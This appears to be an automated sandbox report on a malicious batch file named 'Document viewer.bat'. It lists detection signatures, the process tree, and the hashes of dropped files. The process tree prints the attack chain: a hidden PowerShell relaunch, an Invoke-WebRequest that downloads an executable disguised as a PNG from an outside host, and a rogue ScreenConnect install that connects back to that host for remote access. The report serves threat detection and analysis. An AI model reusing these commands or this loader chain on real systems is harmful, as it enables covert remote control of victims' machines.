Analysis

  • max time kernel
    298s
  • max time network
    294s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    06/06/2026, 03:33

General

  • Target
    Document viewer.bat
  • Size 2KB
  • Sample260606-d4ezeaaz2p
  • SHA256 c500045c9fe2364f665c52fcd97058f1b2731c28bafbb252b987eda7368cbe16
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file 1 IoCs
  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • Signed with revoked ConnectWise certificate 2 IoCs

    Binary is signed using a ConnectWise certificate revoked for key compromise.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 3 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Drops file in Program Files directory 17 IoCs
  • Drops file in Windows directory 17 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks SCSI registry key(s) 3 TTPs 5 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Document viewer.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\Document viewer.bat\" hide' -WindowStyle Hidden"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2600
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\Document viewer.bat" hide
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5028
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -command "& {Invoke-WebRequest -Uri 'http://ostazna.com/test/download.png' -OutFile 'download.png'}"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Downloads MZ/PE file
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4904
        • C:\instax\Statement.view.exe
          "Statement.view.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2156
          • C:\Windows\SysWOW64\msiexec.exe
            "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\a215ff1cba525c86\ScreenConnect.ClientSetup.msi"
            5⤵
            • Enumerates connected drives
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:5364
        • C:\Windows\system32\timeout.exe
          timeout /t 2 /nobreak
          4⤵
          • Delays execution with timeout.exe
          PID:5320
        • C:\Windows\system32\tasklist.exe
          tasklist /fi "imagename eq Statement.view.exe"
          4⤵
          • Enumerates processes with tasklist
          PID:2988
        • C:\Windows\system32\find.exe
          find /i "Statement.view.exe"
          4⤵
            PID:3632
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Boot or Logon Autostart Execution: Authentication Package
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3272
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding D952C8716DAC9F487109D2A43304CB64 C
        2⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:4616
        • C:\Windows\SysWOW64\rundll32.exe
          rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIF3DC.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240776203 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
          3⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:2448
      • C:\Windows\system32\srtasks.exe
        C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
        2⤵
          PID:1656
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 19191864F2D2ABAD07B1A3E2563BA358
          2⤵
          • Loads dropped DLL
          • System Location Discovery: System Language Discovery
          PID:1192
        • C:\Windows\syswow64\MsiExec.exe
          C:\Windows\syswow64\MsiExec.exe -Embedding 16BA3AAC83CB22C94B7944C4DCD02729 E Global\MSI0000
          2⤵
          • Loads dropped DLL
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          PID:2996
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Checks SCSI registry key(s)
        PID:1612
      • C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.exe
        "C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=ostazna.com&p=8041&s=4b60a696-2905-4a3e-88e7-1b9efbf40801&k=BgIAAACkAABSU0ExAAgAAAEAAQDVJNRWpfSybu0stgJc2PWC%2fLLwlFaMCz987D6I3vQYHUJGvJACa06XnpE9Gf%2b6DNN2yX7UYMiiMI%2bnapA0qwaG2HQQUakv5j67xyqUtwMPYxuYNuRCTPOe9H1fqOLPLrOLlr5DbvdI1SKoAIBmVtV0HQmiXJvwsCknUVCuovNFrqykK0vRl9ncZKGocU5OjBjPqjPlxyR%2fWAlqt0eI8BeZIyOSltwHORED%2fmS1xM6sOUODQ%2fBlrDeqWpQB73dHZc5FaxZ3t2ONn3P57PhQ1C2WaoFfwAfDw2i5JutBA5eSTi4HlrguH3x%2fOZ%2f2ASojpFpEo2bVngAvbsyjEY9azy%2fu&c=Moha%20INC&c=&c=&c=&c=&c=&c=&c="
        1⤵
        • Sets service image path in registry
        • Executes dropped EXE
        • Loads dropped DLL
        • Drops file in System32 directory
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4488
        • C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe" "RunRole" "03dc842a-2156-4851-8d68-10f31fdadbbb" "User"
          2⤵
          • Executes dropped EXE
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:3020
        • C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe
          "C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe" "RunRole" "f31017ef-8557-4e2f-af12-19e366661404" "System"
          2⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Checks processor information in registry
          • Modifies data under HKEY_USERS
          PID:4880

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            e5a20d8.rbs

            • Path C:\Config.Msi\e5a20d8.rbs
            • Size 214KB
            • SHA256 8bf75d261b762675344cf9347d335619176ddf12f719e81033c7e04b3521e723
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.en-US.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\Client.en-US.resources
            • Size 49KB
            • SHA256 b26b7a988aba7f94473468cae82846bb672a422b016ed1907d187a5c3bb0f8a0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Client.resources

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\Client.resources
            • Size 28KB
            • SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Client.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.Client.dll
            • Size 192KB
            • SHA256 dd75f431bc27ae5cd60eabf0d705de194c72aa7c6897a7789981df620be5cc41
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.dll
            • Size 67KB
            • SHA256 228c0f9be331a5fbce6711f6c72d7660419d7746da604168d6f4ad9a492b00aa
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientService.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.ClientService.exe
            • Size 93KB
            • SHA256 8c7e1feb403442d3bc11a1945a9e0b3651a5095ca3acabe3f608da801dc8c2b7
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsAuthenticationPackage.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsAuthenticationPackage.dll
            • Size 254KB
            • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe
            • Size 595KB
            • SHA256 da7697707b476046197af8d35c5a1df3cebd7153b7b48aab1079a6375bdca74a
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.WindowsClient.exe.config

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsClient.exe.config
            • Size 266B
            • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
            • MD5 SHA1 SHA512 TLSH

            ScreenConnect.WindowsCredentialProvider.dll

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\ScreenConnect.WindowsCredentialProvider.dll
            • Size 837KB
            • SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            app.config

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\app.config
            • Size 508B
            • SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
            • MD5 SHA1 SHA512 TLSH

            system.config

            • Path C:\Program Files (x86)\ScreenConnect Client (a215ff1cba525c86)\system.config
            • Size 935B
            • SHA256 ea7f1fdc9552985bdd5f95ecfd36c016d283b09e38c8c3327cc64807c0af819e
            • MD5 SHA1 SHA512 TLSH

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
            • MD5 SHA1 SHA512 TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 b7a310f65a970fe4c65c8f9a83f7d402f8527b216a38b17336add7218c5613a5
            • MD5 SHA1 SHA512 TLSH

            MSIF3DC.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF3DC.tmp
            • Size 1.0MB
            • SHA256 a5c116a5746888cdd47fae8269e5d5cc1fa51617744c50256619c75e540034e0
            • MD5 SHA1 SHA512 SSDEEP TLSH

            Microsoft.Deployment.WindowsInstaller.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF3DC.tmp-\Microsoft.Deployment.WindowsInstaller.dll
            • Size 172KB
            • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Core.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF3DC.tmp-\ScreenConnect.Core.dll
            • Size 539KB
            • SHA256 1e9eacd3c680b18f3bfee12a835a49d63fed76056aedb2b2ef312999eb6b4033
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.InstallerActions.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF3DC.tmp-\ScreenConnect.InstallerActions.dll
            • Size 11KB
            • SHA256 af7b515d5ea17e6811f7fd4e0fe76b7bbc6c2ff4e58dc005c86fa30d44f184ca
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.Windows.dll

            • Path C:\Users\Admin\AppData\Local\Temp\MSIF3DC.tmp-\ScreenConnect.Windows.dll
            • Size 1.6MB
            • SHA256 f6e77233f0995581f3171ee92c5cab5b8052d177d333a4999e16e696616739a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            ScreenConnect.ClientSetup.msi

            • Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.3.4.9288\a215ff1cba525c86\ScreenConnect.ClientSetup.msi
            • Size 9.5MB
            • SHA256 bd12f3870898c162319d9a41042dec634024c38916ef7b9d261241f18d7002a6
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_qpbncf2k.c03.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qpbncf2k.c03.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            MSI21C3.tmp

            • Path C:\Windows\Installer\MSI21C3.tmp
            • Size 202KB
            • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
            • MD5 SHA1 SHA512 SSDEEP TLSH

            download.png

            • Path C:\instax\download.png
            • Size 5.4MB
            • SHA256 5ed3d75822283b56cac78ab9007248342512c275eea6647cd7f77ddad13e725b
            • MD5 SHA1 SHA512 SSDEEP TLSH

            metadata-2

            • Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
            • Size 24.6MB
            • SHA256 5ff2c103414ef972f301937bba714f43e574c7ea1f714ced93ded614f9768d2e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            {3955106a-7ef2-4371-ac6a-b14febd31fdd}_OnDiskSnapshotProp

            • Path \??\Volume{13ce4998-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{3955106a-7ef2-4371-ac6a-b14febd31fdd}_OnDiskSnapshotProp
            • Size 6KB
            • SHA256 06dc8d6b26762ee12ba544ad47396738b558387c28a52003bd576879f465be8e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/2156-33-0x00000000019E0000-0x00000000019E8000-memory.dmp

            memory/2156-34-0x0000000005DE0000-0x00000000060D2000-memory.dmp

            memory/2156-35-0x0000000005990000-0x0000000005A1E000-memory.dmp

            memory/2156-36-0x0000000005A20000-0x0000000005A42000-memory.dmp

            memory/2156-37-0x0000000005AE0000-0x0000000005C8C000-memory.dmp

            memory/2156-38-0x0000000006680000-0x0000000006C26000-memory.dmp

            memory/2448-72-0x0000000005380000-0x000000000552C000-memory.dmp

            memory/2448-68-0x0000000005140000-0x00000000051CE000-memory.dmp

            memory/2448-64-0x0000000005010000-0x000000000501A000-memory.dmp

            memory/2448-60-0x0000000005020000-0x000000000504E000-memory.dmp

            memory/2600-0-0x000001FFB32E0000-0x000001FFB32F0000-memory.dmp

            memory/2600-9-0x000001FFB32E0000-0x000001FFB32F0000-memory.dmp

            memory/2600-1-0x000001FFB32E0000-0x000001FFB32F0000-memory.dmp

            memory/2600-8-0x000001FFCEC70000-0x000001FFCEC92000-memory.dmp

            memory/3020-148-0x0000000000B30000-0x0000000000B66000-memory.dmp

            memory/3020-149-0x000000001C5D0000-0x000000001C65E000-memory.dmp

            memory/3020-164-0x0000000000B70000-0x0000000000B88000-memory.dmp

            memory/3020-163-0x0000000000AE0000-0x0000000000AF8000-memory.dmp

            memory/3020-162-0x000000001DCB0000-0x000000001DE38000-memory.dmp

            memory/3020-150-0x000000001CA50000-0x000000001CBFC000-memory.dmp

            memory/3020-147-0x0000000000210000-0x00000000002A8000-memory.dmp

            memory/4488-133-0x0000000004050000-0x0000000004086000-memory.dmp

            memory/4488-136-0x0000000004090000-0x00000000040D1000-memory.dmp

            memory/4488-138-0x0000000004530000-0x0000000004605000-memory.dmp

            memory/4488-134-0x0000000004340000-0x00000000043D2000-memory.dmp

            memory/4488-129-0x0000000004000000-0x0000000004050000-memory.dmp

            memory/4488-118-0x0000000001720000-0x0000000001738000-memory.dmp

            memory/4904-24-0x000002526EC70000-0x000002526EC80000-memory.dmp

            memory/4904-15-0x000002526EC70000-0x000002526EC80000-memory.dmp

            memory/4904-23-0x000002526EC70000-0x000002526EC80000-memory.dmp